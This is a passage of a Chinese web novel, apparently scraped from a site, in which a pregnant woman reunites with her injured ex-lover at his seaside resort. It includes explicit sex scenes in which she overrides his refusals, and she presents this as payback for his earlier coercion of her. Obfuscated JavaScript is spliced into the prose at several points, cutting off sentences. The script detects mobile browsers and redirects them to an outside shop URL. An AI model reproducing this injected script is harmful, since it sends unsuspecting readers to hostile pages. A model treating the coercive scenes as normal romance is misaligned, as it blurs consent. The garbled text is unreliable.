她抿着唇不说话,反正该说的都说了,不该说的也说了,李长尽非要把她的心凌迟了才罢休。 他拉着她在身边坐下,转身给她擦眼泪,“别哭了,是我对不起你,我以为我烂命一条,死了也就死了,我原本是打算和和气气的,可他们都说你不爱我,你爱的不是我,没人爱我这样一个残废。” 姜迟夏问,“我跟你处了这么久,孩子都有了,我对你怎么样,你一点感觉都没有?” 李长尽的声音轻轻的,“爱是要说出来的,你让我靠着感觉去猜测你的意图,我还真不知道怎么猜,在一起这么久,你从来没说过你喜欢我,你爱我,即使我俩决定在一起的时候,你说的都是试着爱我,试过了之后呢?爱的起来吗?” 姜迟夏点头,“我确实没说过那些话,也不打算说,爱不起来,谁敢爱你啊,爱你是当寡妇的命。” 李长尽,“……” 姜迟夏,“以前口口声声没人爱你,其实把爱你的人都拒之门外,现在好了,成了个废人,真的没人爱了,我反正不准备给自己找麻烦。” 他没说话。 姜迟夏擦了擦眼角,叹息一声,“也就你家能养得起你了,我没那本事,我也不想蹚浑水,你也别为难我了。” 他沉默着,没说什么。 姜迟夏感觉心里沉闷,“现在要你也没用了,你说你这身体还能干什么?别一碰就散架了。” 李长尽,“……你说话能不能委婉点?” 姜迟夏摇头,“委婉不了,就你这样,我要是还跟你在一起,岂不是一辈子都要守活寡?” 李长尽,“……” 她转头注视着他的表情,昏暗的环境里,她也看不清李长尽的情绪,姜迟夏看了一会儿之后,凑过去伸手从他颈项间穿过,按住他的脑袋往她面前压。 他的身子一僵,“你又干什么?” 姜迟夏说,“明天我要走了,反正你这残废的身子以后也没人要了,看你长得还可以,我多占点便宜。” 李长尽,“……” 他用力不肯凑近她,姜迟夏另一只手狠狠捏住他的下巴,不让他动,“我看看你还行不行。” 李长尽,“……你是个孕妇,请你收敛点。” 姜迟夏问,“孕妇怎么了?孕妇也是人,孕妇也有需求。” 他还是抗拒,姜迟夏不给他抗拒的机会,整个身子侧过去,抬头吻他的唇角,他的呼吸都乱了,试图躲开。 姜迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928408|134778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏不给他机会,索性跪在沙发上,让他靠在沙发靠背上,她双手捧住他的脸颊,毫不犹疑地吻上去。 他两只手放在沙发上,修长好看的手指在发抖,却不知道怎么拒绝,她口中还有牙膏的味道,清清凉凉的,在他唇齿间蔓延。 她的声音像致命的毒药,“虽然废了,但还是很可口,李长尽,你真的很好亲啊。” 她嘬他的双唇,缠他的舌,让静谧的空气都染上一层瑰丽的色彩。 他静静地呼吸,隐忍,仰着头张着嘴让她为所欲为。 像是要确认什么,她一只手放开他的脸颊,伸手从他腰线往下,摸到了他作为男人最原始的位置。 她刚一碰,他就不可控地立了,姜迟夏这才放过他的嘴,听着他重重呼吸。 “原来还可以啊,我以为这里也废了呢。” 他靠在沙发靠背上,眼神和脸部表情都有一种染了欲的绝伦。 “嗯,身体废了,本能还没废。”他的声音也变得暗哑。 姜迟夏轻轻跨过他的腿,跪在他面前,伸手解他的腰带。 李长尽被吓到,按住她的手,“不要命了?” 姜迟夏把他的手拿开,“试试你还行不行。” 李长尽,“……” 他的胸膛剧烈起伏,“姜迟夏,你又不把我当人。你小心你的肚子。” 姜迟夏认真做着自己手里的活,“放心吧,孩子不会掉了。” 李长尽,“……” 她成功将他的西裤拉下去一点,她穿着裙子,干什么都方便。 “李长尽,上次是你强迫我的,这次换我强迫你,大家就算扯平了吧。” 李长尽感觉自己呼吸都上不来了。 “姜迟夏,你疯了吧。” “嗯,认识你之后就没正常过。” 他感觉到了疼痛。 “不行,你别闹了。” “这种事做多了就好了,你忍一下。” “……” 姜迟夏将羽绒服外套脱掉,有点热。 李长尽怕她冷,又给她披上。 “小心感冒了。” “不会。” 她努力了半天,也只前进了一点,是有点疼。 可是她就是想做。 李长尽低眼看着她动作,也不阻止了,见她实在困难,他自己伸手扶正,微微用力。 伸手将她的腰按下去,她嘶了一声。 李长尽轻声问,“疼?” 姜迟夏缓了缓,让他别动,她伏在他怀里。 “抱紧我。” 李长尽伸手抱紧她,她圆鼓鼓的肚子撑在他的腹部。 谁也没动,她感觉到了他清晰的脉络,在微微跳动。 “李长尽。” “嗯?” 他压抑着呼吸和声音,感觉随时都能炸。 姜迟夏双臂抱住他的脖颈,不断吐气,“你好烫。” “……” “看来还可以,不过我准备上了你不负责。” “……姜迟夏,你做个人行吗?大老远跑来就是来上我的?” 66. 融为一体 姜迟夏当然不是来上他的,本来打算看他一眼,知道他没事了就行了,谁知道他发现她了。 没发现的话,她还准备假装什么都不知道,安安静静待几天就走。 结果狗东西没换号,也不给她回复信息。 想到这个就生气。 这半年来,没有一秒不想他,干什么都想起他,想起就心痛,她很多时候都告诉自己,李长尽这种自私的人,没必要想了,可越是克制越是想念。 这好不容易见到他了,不做点什么就走了,她还真不甘心。 客厅里的灯没开,但度假村的各种装饰灯都亮着,即使光线昏暗,她也能看清楚他的表情,他的呼吸是烫的,她双手捧着他的脸颊吻,他终于忍不住,自己动着腰。 一双长臂将她抱紧,时不时发出点声音,姜迟夏倒是没出声。 她发现这次还挺好的,没第一次那么难受,听着他的声音,她反而觉得心理上舒爽了许多。 能再次和他融为一体,她突然觉得好满足。 她故意激他,“李长尽,你没吃饭啊?以前的凶猛劲去哪了?” 李长尽呼吸不畅,“小祖宗,我现在是个病人,别人碰我一下都不行,你就直接坐上来了。” 姜迟夏哦了一声,“看你动都动不了的样子,就想欺负你,以前你可不会这么好欺负,我发现这样的你也挺好,废人一个,也只能被我捏扁搓圆了,以后你都打不过我了。” 李长尽,“……” 姜迟夏的双手轻轻摩挲他的耳垂,“反正不管能不能在一起,你都是我的,我想怎么干就怎么干,没你选择的权利。” 李长尽出口长气,往后仰去,靠在沙发靠背上,“没见过你这样的人,我也没你这么禽兽。你这招肯定不是跟我学的,我从来都不欺负弱者。” 姜迟夏回答,“就欺负你,你有本事就反击,我看你走路都费劲,别说反击了,我今天把你玩坏了,你也只能受着。” 李长尽,“……” 姜迟夏,“还挺好玩的,跟个玩具一样,你如愿变成了我的玩具,开心吗?” 李长尽真服了,“姜迟夏,你就作死吧。” 姜迟夏无所畏惧,“作呗,有的人不珍惜生命,还指望我珍惜他,真好笑。” 李长尽觉得脸都没地方放了,“还提这事,别提了行不行?我知道错了。” 姜迟夏靠近他的脸,“为什么不提?你那么聪明一个人,干的都是什么蠢事?幸亏这事被你爸压下来了,不然你李家长子的脸别要了,为了一个女人跟亲爸赌气,寻死觅活,这传出去多难听?” 李长尽的胸膛起伏了两下,“别说了。” 姜迟夏也不说了,她自己慢慢地动作。 李长尽不断喘气,没一会儿就被“折磨”地不行了。 他压低声音,“不行了,快让开。” 姜迟夏问,“什么不行了?” 李长尽大口喘气,“你故意的,你……” 还没说完,姜迟夏低头再次堵住他的嘴,自己也没挪开,李长尽尽数全给了她。 他按在她背上的手用了力,挣脱她的吻,眼神沉沉地看着她,“进去了。” 姜迟夏嗯一声,“怎么了?你不是喜欢这样?” 李长尽,“……” 她也没挪开,“让你一次爽个够啊,反正这辈子你都没法碰女人了,对吧?你看动都动不了,还得我自己来。” 李长尽觉得姜迟夏疯了,“以前没发现你这么癫啊姜迟夏,深藏不露。” 姜迟夏神色冷静,“跟你学的,他们都说,我跟着你学好了,你可是我人生路上的导师。” 李长尽,“……” 反正无论他怎么拒绝怎么挣扎,姜迟夏都没准备放过他,把他按在沙发上,直到他求饶。 郭悠止怕他俩饿,还贴心地去厨房做了点宵夜,结果刚上楼敲门,就被李长尽吼了,他的声音格外不对劲。 “别进来!” 郭悠止端着两碗燕窝粥,怔了一瞬,又端回了厨房。 李长尽小声地求饶,“可以了,三次了姜迟夏,你再继续下去,我真的得死。” 姜迟夏这才放过他,给他把西服裤整好,随便擦了一下就要走,“好了,疯够了,明天回家我就不那么想你了。” 李长尽拉住她,“再待几天,我和你一起回。” 姜迟夏问,“你跟我回去干什么?你好好休养。” 李长尽的语气虚浮无力,“有些事该处理还得处理,你还是想跟我在一起的。” 姜迟夏没答话。 李长尽缓了缓心中悸动,“现在春运紧张,不太容易抢得到票,等过完年,我们一起回。” 姜迟夏看着他,“不怕我把你榨干了?” 李长尽有些无言,“除非你不想让我活了,你就使劲榨我。” 姜迟夏肯定舍不得他,听他挽留,自然是想留下来。 “可我没钱挥霍了,少爷给点钱。” 李长尽从西服兜里摸出来一张黑金卡递给她。 “拿去,随便花,密码是我的生日,花完再回家。” 姜迟夏拿过去,看了看,“里面有多少钱?” 李长尽还靠在沙发上喘气,“反正够你花了。” 姜迟夏将卡还给他,“那就再待几天吧,你管吃管住就行,我弟跟我一起来的,他也很想你。” 李长尽没接卡,“卡你拿着,用到钱的地方,可以直接刷,明天见你弟。” 姜迟夏拿着卡,有点烫手,给他放茶几上,“那我走了?明天找你。” 他拉住她,“你去哪里?今晚跟我睡。” 姜迟夏想了想,也就不挣扎了,“行吧,不早了,你别老熬夜。” 他伸手给她,“你来了,我就不熬夜了。” 她扶他起来,往卧室走,“都是哪里疼?” 他实话实说,“哪里都疼。” 姜迟夏实在心疼,“自作孽不可活啊李长尽。” 他没说话,被她扶到卧室去,发现他动一下都吃力。 姜迟夏打开床头灯,把他的腿缓缓放床上,去阳台又把轮椅给他搬了过来,怕他上厕所不方便。 李长尽靠在床头有气无力,“你有身孕,你能不能歇会儿?你在家也这样?” 姜迟夏看他一眼,“有身孕怎么了?我自己会小心,你就别担心我了,我干什么都方便,不像你。” 李长尽,“……” 可被她逮住机会了,看他动不了了,就使劲欺负他。 姜迟夏爬上床去,靠着他躺下,拍拍他的手,“睡觉了少爷,放心吧,我不会再欺负你了。” 李长尽按灭了床头灯,靠着她躺下来,侧躺着,一只手搭在她的小腹上。 “有身孕还这么搞我,以后别这样了。” 姜迟夏肚子不方便,就仰躺着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜金驰下了楼就直奔观景台,刚到了那边就被安保拦住了。 姜金驰表示,“我找长尽哥,我是他朋友。” 保安给前台打了电话,前台给郭悠止打了电话。 郭悠止正陪着李长尽看账本,接到电话。 他问李长尽,“少爷你认识一个叫姜金驰的人?” 李长尽轻笑一声,“让他上来吧。” 郭悠止让安保放人,姜金驰感觉等电梯都好费劲。 到了三楼就找房间,郭悠止从走廊尽头的套房出来,看了姜金驰一眼。 “少爷在那边等你,你是姜迟夏的弟弟?” “对啊,谢谢你。” 人还没到,声音先到了。 “长尽哥?” 李长尽坐着轮椅等在门口,“这边。” 姜金驰看着他的样子,心里实在酸涩,走过去帮他推轮椅,“好久没见你了,你还真惨啊,搞成这个样子。” 李长尽没回答他的话,只是问,“你姐呢?” 姜金驰把他推到客厅沙发前,“睡觉呢,也不知道昨晚干什么了,今天都不打算起来。她昨晚来找你了?你俩说什么说了那么晚?” 李长尽,“……”分开的恋人久别重逢,除了做点爱做的事,还能干什么。 他不动声色,“叙旧。” 67. 产检 快过年了,姜迟夏和姜金驰还没有回家的苗头,张兰英打视频过去想看一下这对姐弟在干什么,结果姜金驰和姜迟夏都拒绝了妈的视频电话。 随后姜迟夏和姜金驰就去海边给妈通了个视频,姜金驰一本正经地告诉妈,“春运紧张,抢不到票了,只能等过完年或者过年回去了,妈你一个人肯定很忙吧?” 姜迟夏在一边附和,“对啊,抢不到票了,所以只能等缓一缓才能回去,放心吧,我们会照顾好自己的,你去外婆家蹭饭得了。” 张兰英实在是无语,“你俩真是想一出是一出,翅膀硬了,我管不了你们了,姜迟夏你要记得按时做产检,让姜金驰陪着你。” 姜迟夏和姜金驰都答应着,和妈寒暄了一会儿之后挂了视频,李长尽就坐在不远处的轮椅上抽烟,直到他俩打发了张兰英,才笑着看向他俩。 “你俩现在说谎都不打草稿了,张阿姨不知道你俩来我这?” 姜金驰郑重其事,“这可不能让我妈知道,她都不知道你在这里有个度假村,要是知道的话,姜迟夏死定了。” 姜迟夏朝他走过去,在她快靠近的时候,他将烟捻灭在沙滩上,捏在手里,有点发烫。 姜迟夏去帮他推轮椅,他让她别劳累,“让你弟弟来,你别动。” 姜金驰上前去帮他推轮椅,“哥,附近有医院吗?姜迟夏该做产检了。” 李长尽说,“我带她去就好。” 姜金驰赶紧阻拦,“你还是在家歇着吧,别把你给累到了,我去就行。” 李长尽摇头,“大半年了,都没陪她去过一次,我想去。” 姜迟夏让他安心,“好着呢,放心吧,我的崽命大得很。” 李长尽低笑,“你的崽不也是我的崽,别争了,我让郭管家预约一下,今天陪你去产检。” 姜迟夏心里又暖了,“就算你对我好,陪我做产检,我也不和你在一起。” 李长尽问,“那你想和谁在一起?” 姜迟夏说,“再看吧,遇到帅过你的再说。” 李长尽语气轻柔,“那你惨了,这世上还没有帅过少爷的人。” 姜金驰在旁边哈哈大笑,“哥你要点脸,不过你俩谈个恋爱跟渡劫一样,谁家恋爱谈成你俩这样的?太磨难了。” 姜迟夏叹息,“没办法,谁让我遇到一个神经病,他要是正常一点都没这事。” 李长尽无奈,“你看你姐,又骂我。” 姜金驰问,“她以前骂你吗?” 李长尽回答,“从认识开始,就没停过。” 姜金驰问,“那你喜欢她什么?喜欢她会骂人啊?她怎么把你当我一样对待呢?” 姜迟夏踢姜金驰一脚,“……他怎么可能跟你一样,你是我亲弟弟,李长尽不是我亲哥,谢谢。” 李长尽憋着笑,“可能吧,我这人比较贱骨头。” 姜迟夏,“……” 姜迟夏姐弟的到来,让李长尽的状态好了很多,不再是死气沉沉的一个人。 郭悠止都看在眼里,他时常要跟李兴澜报备李长尽的情况,但第一时间没敢说姜迟夏找李长尽的事情。 他告诉李兴澜,“少爷最近心情好了点,吃饭也能吃下去了,话也稍微多了点,不再一个人沉默发呆,看起来状态还不错。” 李兴澜听到这里,也是舒口气,“那就好啊,心情好点,身体就好的快一些。” 郭悠止欲言又止,最后还是什么都没说,想着等李长尽缓过来再说吧。 李长尽要陪姜迟夏去产检,郭悠止只能开车带他们去。 开的是李长尽放在度假村不怎么开的车,是劳斯莱斯幻影。 他自从出事后就没开过车了,郭悠止偶尔开着出去上街采购,给他买东西。 姜金驰是真服他姐夫了,到处都有车有房,普通人真的没法想象他多富有。 姜金驰的羡慕都写在脸上了,“哥,你是真的壕。” 李长尽握着姜迟夏的手,问姜金驰,“你想要一辆车吗?” 姜金驰那肯定做梦都想,“哪个男人不爱车?我是车迷。” 李长尽言语沉静,“过年带你去提车。” 姜金驰心里一咯噔,不可思议地看着他,“你要送我?” 李长尽还没说话,姜迟夏反手就是一巴掌,她警告姜金驰,“你敢收你试试?我现在就送你回家,姜金驰。” 李长尽把她拉过来,“你看你,又小心眼了,一辆车而已,他喜欢就送他好了。” 姜迟夏拒绝,“可不敢送他车,我妈会打死他的,我和他这次来找你,都是偷偷来的,如果不是我不方便,我都不会带他来。” 姜金驰啧啧道,“姜迟夏,你能不能对我好点?我都陪你挨骂了。” 姜迟夏白他一眼,“我都请你旅游了,你还有什么不满的?不满的话,把我的钱吐出来。” 姜金驰,“……” 这对姐弟太欢乐了,李长尽就在一边笑着听他俩拌嘴。 到了港城医院,李长尽也不坐轮椅,拄着拐杖,坚持要走路。 郭悠止扶着他,他推开郭悠止,“没事,我自己可以。” 姜迟夏生怕他摔了,“我来做产检,都没人扶我,搞得怀孕的人是你一样,都让你不要来了。” 他一手拐杖,一手搀着她的胳膊,往前走,“我来扶你。” 姜迟夏,“……” 挂了号之后,还要等一会儿,姜迟夏坐在等候区等着叫号,李长尽在那里站着,也不好占了其他孕妇的座位。 姜迟夏见他实在站着困难,不得不站起来,让他坐下。 李长尽不坐,被她硬拽到座位上坐下,旁边都是女人,只有他一个男人。 他挣扎着想起来,被姜迟夏按住肩膀,“乖一点,坐好,别影响周围人的情绪。” 李长尽,“……” 旁边的孕妇们都好奇地看他,他实在窘迫,姜迟夏的双臂搭在他肩上,双手在他面前交叠,他看一眼,摇头叹息。 姜迟夏一会儿脑袋搁在他肩上,一会儿捉着他头顶的头发玩儿,李长尽觉得她好活跃,他的心也跟着活过来。 郭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938913|134778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠止和姜金驰在不远处看着,没进去,人太多了。 郭悠止叹息,“他得多喜欢才这么纵容啊?” 姜金驰回答,“那必须很喜欢,怪他俩贫富差距太大,无法跨越阶级。” 郭悠止问,“你们怎么知道他在这里?谁告诉你们的?” 姜金驰胡言乱语,“我们就是来旅游的,谁知道运气这么好,会遇到他,我姐可不敢跟他在一起了,好不容易活过来,要是再死一次,那就真没得玩了。” 郭悠止再没说什么,既然不会跟他在一起,为什么又给他希望? 孩子都那么大了,不在一起说得过去吗? 李兴澜也怕他再死一次,这次应该不会阻拦了吧? 这个孩子,始终是和李家有缘的。 姜迟夏没有拿之前的产检单,不得不重新化验,进行B超检查,胎儿情况稳定,没有什么问题。 姜迟夏觉得这产检做的太频繁也没什么用,但为了安心,也只能按时去。 做完产检之后拿了检查单,带着李长尽回去。 明明站不住的人,非要逞能,结果这一回去腿又疼的动不了。 姜迟夏一边心疼一边给他捏捏疼痛的双腿,实在无奈,“坐轮椅去也没什么,你这人就是太在意别人的眼光了。” 他言语清淡,“那我不能给你丢人啊,坐着轮椅去,别人都会用很奇怪的眼光看你。” 姜迟夏抬眼看他的眼睛,“我自己都不在乎,你还想那么多,李长尽你以后能不能不要想那么多了?” 他低眼看着她的手在他腿上来回轻捏,把她拉起来,“好了,过会儿就不疼了,你别累着了。” 姜迟夏唉声叹气,“我的命真苦,怀孕了还得伺候病人,都没人伺候我。” 李长尽问,“我给你请个临时保姆?我觉得你需要一个保姆。” 姜迟夏让他别折腾了,“我自己能照顾好自己,我就担心你,不过李长尽,我真不打算跟你在一起,来看你一趟就行了,你以后也就当我这个人不存在,我陪你过完年就回家,你也别任性,好好养好身体,知道吗?” 他抿了唇不说话了。 姜迟夏又说,“我可不敢再看着你死第二次了,心脏受不了,不过你以后要是不结婚的话,也可以偷偷来找我解决某些需求,记得偷偷来。” 李长尽的表情一言难尽,“你就准备跟我偷一辈子?哪有你这样的人?” 姜迟夏一本正经,“谁愿意跟你偷一辈子,说不定哪天我看上别人了,你就没用了。” 他的拳头握紧了,骨头嘎吱作响,“姜迟夏,你别太过分了。” 姜迟夏问,“我哪里过分了?说真的,我还真不敢要你,动不动就死给我看,我还想多活几天。孩子一出生没爸爸就没希望,要是有了爸爸,结果有一天,爸爸突然死了,那他咋办?我咋办?” 他拉着她的手叹气,“认识到错误了,这件事就翻篇吧,求你了,你怎么死抓着不放啊?我以后惜命行不行,这条命给你,你说什么时候死就什么时候死,我不作践了,好不好?” 68. 别撩我 他说认识到错误了,姜迟夏还真不信,李长尽这个人,心口不一,做的事和说的话完全不一样,他从来都不会认识到自己的错误。 姜迟夏也就没把他的话当话,老是被他骗,她现在已经很谨慎了。 “你嘴上说一套,心里想一套,做的又是另一套,跟个变色龙一样,我还真不敢信你。” “那我怎么样做你才信?你就别跟我置气了,放心吧,死过一回之后发现能见到你的日子还挺好的,比躺在ICU绝望好多了,我惜命了,真的。” 姜迟夏都不敢想他躺在ICU的时候多绝望,动都动不了,每天都跟冰冷的仪器为伍,关键她都没去看过他一次。 想想都觉得窒息,她索性不想了,他现在在眼前就行。 李长尽让姜迟夏搬过去和他一起住,那个房间留给姜金驰一个人。 虽然姜金驰是她亲弟弟,但毕竟男女有别,姜迟夏还怀着孕,李长尽还是不乐意。 他说,“虽然你俩是亲姐弟,但我心里还是不舒服,所以你就搬来跟我一起住,我照顾你。” 姜迟夏怀疑地看着他,“是你照顾我还是我照顾你?” 他抬眼看着她笑,“都一样,总之呢,我能每天看到你,我安心点。” 姜迟夏想了想,也就不跟他对着干了,搬过去和他一起住,把自己的衣服都拿过去。 看到她就拿了几件衣服,李长尽疑惑地问,“行李箱呢?” 姜迟夏表示,“我偷偷跑出来的,哪敢拿行李箱?没拿。” 李长尽,“……” 他无奈极了,“你是越来越任性了。” 姜迟夏反驳,“我是个大人了,肯定有分寸的。” 李长尽看着她圆鼓鼓的肚子,推着轮椅走到她身边,伸手摸摸,“这叫有分寸?大着个肚子跑来这么远的地方,都没想过会不会有危险?” 姜迟夏让他别担心了,“现在还好,我还能跑得动,就想来看你一眼罢了。等过完年三四月份的时候,我就哪里都不能去了。” 李长尽还是很心疼她,叹口气坐在轮椅上抱她,“我真的很对不起你,以后脾气会改的。” 姜迟夏嗯一声,“是该改一改了,都要当爸爸的人了,再跟个混账神经病一样,怎么能行?” 李长尽,“……” 他决定给她买一些衣服,不然过年的时候港城还是会冷,不下雨还好,要是一下雨那真的很冷。 尤其是海湾的风,从大海上吹来,力度还是可观的。 “过两天我带你去买衣服,给你弟也买两套。” “你别对我太好了,免得我又心软了。” 他笑着抬眼看她的表情。 “心软了就继续跟我在一起。” “再说,看你的表现,我觉得结不结婚都无所谓,结婚证不过是枷锁罢了,想你了来看看你也行,没必要闹那么难看,你说是不是?” 李长尽摇头。 “你倒是很乐观,你可以,但我不行,我的心跟你走了,你去哪里我便去哪里。” “……” “看到你之后,我都觉得像重新活过来一样,虽然身体依旧不好,但我每天看到你的时候,心情很好,心情一好的话,也就痊愈的快一点。” 姜迟夏都不知道怎么说,低头在他唇上亲一口。 “我现在不给你答复,等你好了再说。” “我得买个飞机,去你家方便点。” 姜迟夏被他惊到。 “你都没办法考飞行证,买了给谁开?” “当然是找人了,放心吧,办法多的是,到时候你回娘家,去旅游度假,去哪里都方便。” 姜迟夏看着他的眼睛,实在不想再说他了。 “我好像一直在拒绝你,没想跟你结婚,你自顾自话,完全没把我的话听进去啊?怎么死了一次还是这样?” “……” 她弯腰伸手捧住他的脸,直视他沉沉的眼神。 “你看着我,我认真的,别为了我再跟你爸闹矛盾,不然以后孩子真不认你。” 他没有闪躲,修长的手指抚上她的手背,覆在上面,“放心吧,他不会再为难我了,李长愠没法担大任,我住院大半年,长生酒店业绩下滑40%,上半年的盈利差点又全部填进去了,吓人得很。所以他还得指望我以后担大责。” 姜迟夏心里真不是滋味,“都不知道你这样的人,看上我什么,李长尽你口味真的很一般。” 他轻笑一声,“哪里一般了?口味一般还那么多人追你,那个姓郑的,不优秀吗?他惦记了你快二十年,幸好我认识了你,不然你看这缘分不就没了?你要是不怀孕,早就考研深造去了,哪里需要待在家里,你也很优秀。” 姜迟夏拍拍他的脸,“也就你觉得我优秀了,情人眼里出西施,我在你眼里是天仙。” 他又被逗笑,笑声低沉,“别闹,没有的事。” 一笑全身骨头都震的疼,他赶紧收敛,“你说话真的很搞笑。” 姜迟夏懂了,“你喜欢搞笑女,不喜欢正经的。” 他摇头,“是你就行,怎么样都喜欢。” 还是会被撩的走不动路,姜迟夏觉得这辈子真栽在李长尽手里了。 过了两天,李长尽带她去买衣服,郭悠止和姜金驰都去了。 快过年了,哪里都是一片喜庆,商城里的人尤其多。 李长尽也不坐轮椅,非要自己走路,美其名曰要做康复训练,不能一直坐轮椅上,不然真废了。 他一手拄着拐杖,一手还要搂着姜迟夏的腰,防止她被人撞到。 她时不时看他一眼,觉得被李长尽这样护着,还真是幸福。 郭悠止和姜金驰在后面拎着大包小包。 去的都是奢侈品店,李长尽对这一带已经很熟悉了,经常去这些免税店里给姜迟夏看礼物。 只不过买了她也不收罢了。 这次姜迟夏收的很坦然,李长尽买的话,她就收。 买了衣服,又给她买配衣服的首饰,姜迟夏觉得那些就没必要了,她不爱戴首饰。 说起来李长尽送她的那枚戒指,她都放在他湖光山色的房子里了。 想到这个,姜迟夏问他,“你回去过那个八楼吗?” 他轻声回答,“肯定回去过,怎么了?” 姜迟夏问,“看到我放在家里的戒指了吗?” 他点头,“看到了。” 姜迟夏说,“回头你寄给我吧,我又想要了。” 李长尽,“……” 没听到他的回答,姜迟夏问,“你不愿意?可是你又不能戴,我拿着当纪念品。” 李长尽言语冷静,“我重新给你买更好的。” 她震惊了,“那还不好?怎么样的才算好?你别太离谱了。” 李长尽并不是不想给她,而是那枚戒指已经被他扔了,他以为再也见不到她了,这辈子也没机会和她在一起了,索性就扔了,就当把过去全部扔进了大海。 她来的前两天扔的,可是不敢说……说了又是一顿臭骂,又得和他生气。 听到她想要戒指,李长尽当天回去就开始帮她物色戒指了,准备给她买个更好的。 能在年前到货就行。 女孩子都喜欢这种小玩意,该喜欢的。 新衣服被酒店的阿姨拿去洗了,姜金驰也蹭了他姐的面子,得了几套高奢,都是姐夫掏的钱。 姜金驰觉得姜迟夏这个对象找的太好了,真不希望他俩分开,他是李长尽和姜迟夏的cp粉头子。 随着时间的推移,心月湾的人数不但没减,反而越来越多的人前来这里度假,长生酒店几乎每天都爆满。 不得不说李长尽在做生意方面,真的特别有天赋,他专业财政学,以专业第一名成绩毕业的,论文还被学校收录了,这是个头脑特别厉害的人。 可惜是个恋爱脑。 港城天气也好,除了晚上海风大了会冷一点之外,白天太阳都很好。 姜迟夏的衣服也是从秋天到夏天相互交替,晚上过秋天,白天过夏天。 没想到的是,李长愠竟然带着彦时念来看李长尽,说是过年家里无聊,也来度假村玩儿。 还带着他们三岁的儿子,名叫李植,小名植植,因为命里缺木。 结果一家三口来之后,没房间了,房间都是爆满的,不管哪种价格的都没房了,李长愠只能带着妻儿去找李长尽,和他挤一个套房。 李长尽住的观景台套房很大,除了他自己的卧室,还有两个小套房,但他就是不乐意给李长愠一家三口住。 郭悠止让他别记仇了,“二少爷其实心思很单纯,也不是很记仇,所以大少爷你就别和他置气,他都带着二少奶奶和小少爷来看你了,你就把心放宽一点,好不好?” 李长尽拒绝,“他一家三口来度假,哪有和我住一起的道理,我自己还有女朋友要照顾,让他们出去找酒店住。” 郭悠止想了想,又给了建议,“实在不行的话,让姜家那个弟弟跟你们住一起,把那个套房腾出来。” 李长尽想了想,也行,“那就让弟弟住上来吧,让他们一家三口住那边。免得我看着生气。” 他还真怕李长愠见到姜迟夏,那对夫妻,面和心不和,迟早得离婚。 大一在一起就生孩子,孩子生下来领证结婚,每天都闹矛盾。 显然不爱嘛,李长愠不爱彦时念,彦时念也不爱李长愠。 后来李长愠看自己没什么机会上位了,还让长生酒店亏损,被李兴澜骂了一顿之后,就天天和彦时念闹矛盾,吵架。 他回李家休养那段日子,经常听到夫妻俩因为孩子的事情吵闹,他只会幸灾乐祸,从不会参与他们的恩怨。 李长愠想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941962|134778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离婚的苗头已经很明显了,如果让他看到姜迟夏,估计得出事。 李长尽觉得自己该把老婆看好,免得转眼被人惦记上。 姜迟夏现在每天除了吃,除了睡,出去溜达,就没事干了。 这天傍晚她叫李长尽去沙滩玩,李长尽出奇地把她叫住了,不让她去。 姜迟夏在观景阳台看着海滩上人山人海,实在想去凑热闹。 李长尽坐在轮椅上,停在她身边,把她拉到自己腿上坐下,姜迟夏被他吓到。 “你的腿不疼了?” “嗯,老婆坐的话,一点都不疼。” 姜迟夏抱紧他的脖颈感慨。 “嘴这么甜,吃糖了?” 他把她往怀里抱抱。 “你自己尝尝甜不甜,那肯定比外面的空气甜多了。” 姜迟夏的心砰砰直跳。 “你别撩我,忘了上次差点被我玩坏了?” 他低头将脸埋在她的胸口,低笑出声。 “缓过来了,还想再体验一次,要不今天就别出去了,我继续陪你玩?” 正说着,姜金驰拿着他的东西进来了,他一进客厅就嚷嚷。 “长尽哥,我的房间怎么突然被占了?郭管家说你弟弟和弟媳来了,房子给他们腾出来了?” 李长尽神色一凛,抬眼看姜迟夏的眼睛。 姜迟夏从他腿上起来,有些惊讶。 “你弟和弟媳来了?” 李长尽观察她的情绪,有些紧张和惶恐。 “你不准见他,我不会让你见的,你要是见他,我就……” 姜迟夏注视着他的眼睛,“你就什么?李长尽你怎么回事,你不会到现在还以为我喜欢你弟弟吧?” 他的神色沉寂下去,语气也慢慢沉落,“总比喜欢我要多一点吧,他和彦时念的矛盾越来越多,看到你的话,他一定会找你的,我会很难受。” 